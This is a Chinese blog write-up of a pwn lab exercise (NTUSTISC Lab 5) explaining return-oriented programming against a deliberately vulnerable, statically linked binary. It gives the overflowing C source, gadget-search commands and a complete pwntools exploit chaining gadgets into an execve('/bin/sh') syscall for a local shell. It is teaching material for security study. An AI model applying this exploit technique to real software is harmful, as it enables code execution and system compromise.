[NTUSTISC pwn LAB 5]rop入门实验

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[NTUSTISC pwn LAB 5]rop入门实验相关的知识,希望对你有一定的参考价值。

一、要点

  • ROP chain

二、预备知识

预备知识请参考pwn入门参考资源中的ROP部分。

三、题目

这是一道pwn rop题目,同时不但给出了二进制文件,也给出了源文件:
题目及相关资源的下载地址为:
链接:https://pan.baidu.com/s/1uRyQN1dzA0OLsgcn1UtYjg
提取码:vfdl
本次实验对应Lab5

四、解题过程

1、检查保护机制

checksec存在Canary,也存在NX,无法平坦的溢出栈空间。
在这里插入图片描述

2、运行查看效果

运行该程序,用户有一个输入点,填充大量的字符串,程序crash,报段错误。
在这里插入图片描述
根据检查保护机制和查看运行效果的情况,就出现了一个看似矛盾的问题:
问题一:既然有Canary保护,为何还会出现栈溢出?
解答:该函数Makefile为:

gcc rop.c -fno-stack-protector -no-pie -static -o rop

-fno-stack-protector用于关掉Canary,表明rop.c中已经关掉了Canary,但是编译选项中增加了-static,出题人的目的是通过静态链接找到更多的gadget,在链接的静态库中,会存在Canary。但这丝毫不影响对rop的buffer overflow,影响buffer overflow的只有NX保护。
gdb rop查看disass main后,也并未在main函数中看到Canary。

3、静态分析

直接看实验中给出的源码rop.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
  char buf[16];
  puts("This is your first rop challenge ;)");
  fflush(stdout);
  read(0, buf, 0x90);
  return 0;
}

read函数用于接收用户的输入,0x90的空间足够通过gadget链拼接出shellcode。

4、ROP chain的设计

要拼出的ROP chain见下图:
在这里插入图片描述
在栈中填入ROP链接和execve所需的参数,利用系统调用执行shellcode获得shell。

5、查找gadget片段

使用命令ROPgadget --binary rop,可查找大量的gadget片段:
在这里插入图片描述
如果gadget比较多的话,可以导出到文件,并通过文件查找所需的gadget。

ROPgadget --binary rop > g

使用cat g | grep "pop rdi"来查找该片段,并选出较为干净的片段:
在这里插入图片描述
pop rdi的地址为0x0000000000400686,
按同样的方式查找(1)pop rsi,(2)pop rdx, (3)pop rax, (4)mov qword ptr [rdi], rsi, (5)syscall:
pop rsi的地址为0x0000000000410093
pop rdx的地址为0x00000000004494b5
pop rax的地址为0x0000000000415294
mov qword ptr [rdi], rsi; ret的地址为0x0000000000446c1b
syscall的地址为0x0000000000474a65
mov这条指令查找时,注意要加上转义字符:

cat g | grep "mov qword ptr \\[rdi\\]"

6、查找bss段的地址

输入命令readelf -S rop查找bss段的地址:
在这里插入图片描述
这个地址是0x00000000006bb2e0,大小为0x16f8,只要将/bin/sh写入这个地址空间就可以。一般情况下,bss段通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量,如果程序中存在这些变量,会从0x00000000006bb2e0的起始地址开始存放,为了避免覆盖这些变量,可以向后偏移一些,而在这个例子中,并无这类变量存在,因此可以从0x00000000006bb2e0的地址开始写。

7、编写exp

编写的exp为:

from pwn import *

r = process('./rop')

pop_rdi = 0x0000000000400686  # pop rdi ; ret
pop_rsi = 0x0000000000410093  # pop rsi ; ret
pop_rdx = 0x00000000004494b5  # pop rdx ; ret
pop_rax = 0x0000000000415294  # pop rax ; ret
mov_qword_rdi_rsi = 0x0000000000446c1b # mov qword ptr [rdi], rsi ; ret
syscall = 0x0000000000474a65  # syscall; ret
bss = 0x00000000006bb2e0

r.recvuntil(')\\n')

# rdi
p = 'a' * 0x18
p += p64(pop_rdi)
p += p64(bss)
p += p64(pop_rsi)
p += '/bin/sh\\x00'
p += p64(mov_qword_rdi_rsi)

# rsi
p += p64(pop_rsi)
p += p64(0)

# rdx
p += p64(pop_rdx)
p += p64(0)

# rax
p += p64(pop_rax)
p += p64(0x3b)

# syscall
p += p64(syscall)

r.send(p)

r.interactive()

运行该脚本后,执行ls命令,可以看出已经拿到了shell:
在这里插入图片描述

五、gdb动态验证

在exp中r = process(’./rop’)的下增加一行代码raw_input():
在当前窗口执行该python脚本,程序会因raw_input()这条语句卡在这里:
在这里插入图片描述
再打开另一终端并执行gdb pid 3848,attach到3848进程。
输入ni,切换到执行python脚本的终端,按回车键跳过卡着的位置。调试到主函数的ret位置时,可看到栈帧中已摆好的ROP chain:
在这里插入图片描述
接下来会一步一步执行ROP chain,过程略。

以上是关于[NTUSTISC pwn LAB 5]rop入门实验的主要内容,如果未能解决你的问题,请参考以下文章

[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)

[NTUSTISC pwn LAB 4]gothijacking入门实验

[NTUSTISC pwn LAB 0]新手就能掌握的pwntools接口入门实验

[NTUSTISC pwn LAB 1]栈溢出:gdb动态调试bof

[NTUSTISC pwn LAB 3]栈溢出:返回值跳转到shellcode ret2sc 实验

[NTUSTISC pwn LAB 2]栈溢出:gdb动态调试bof2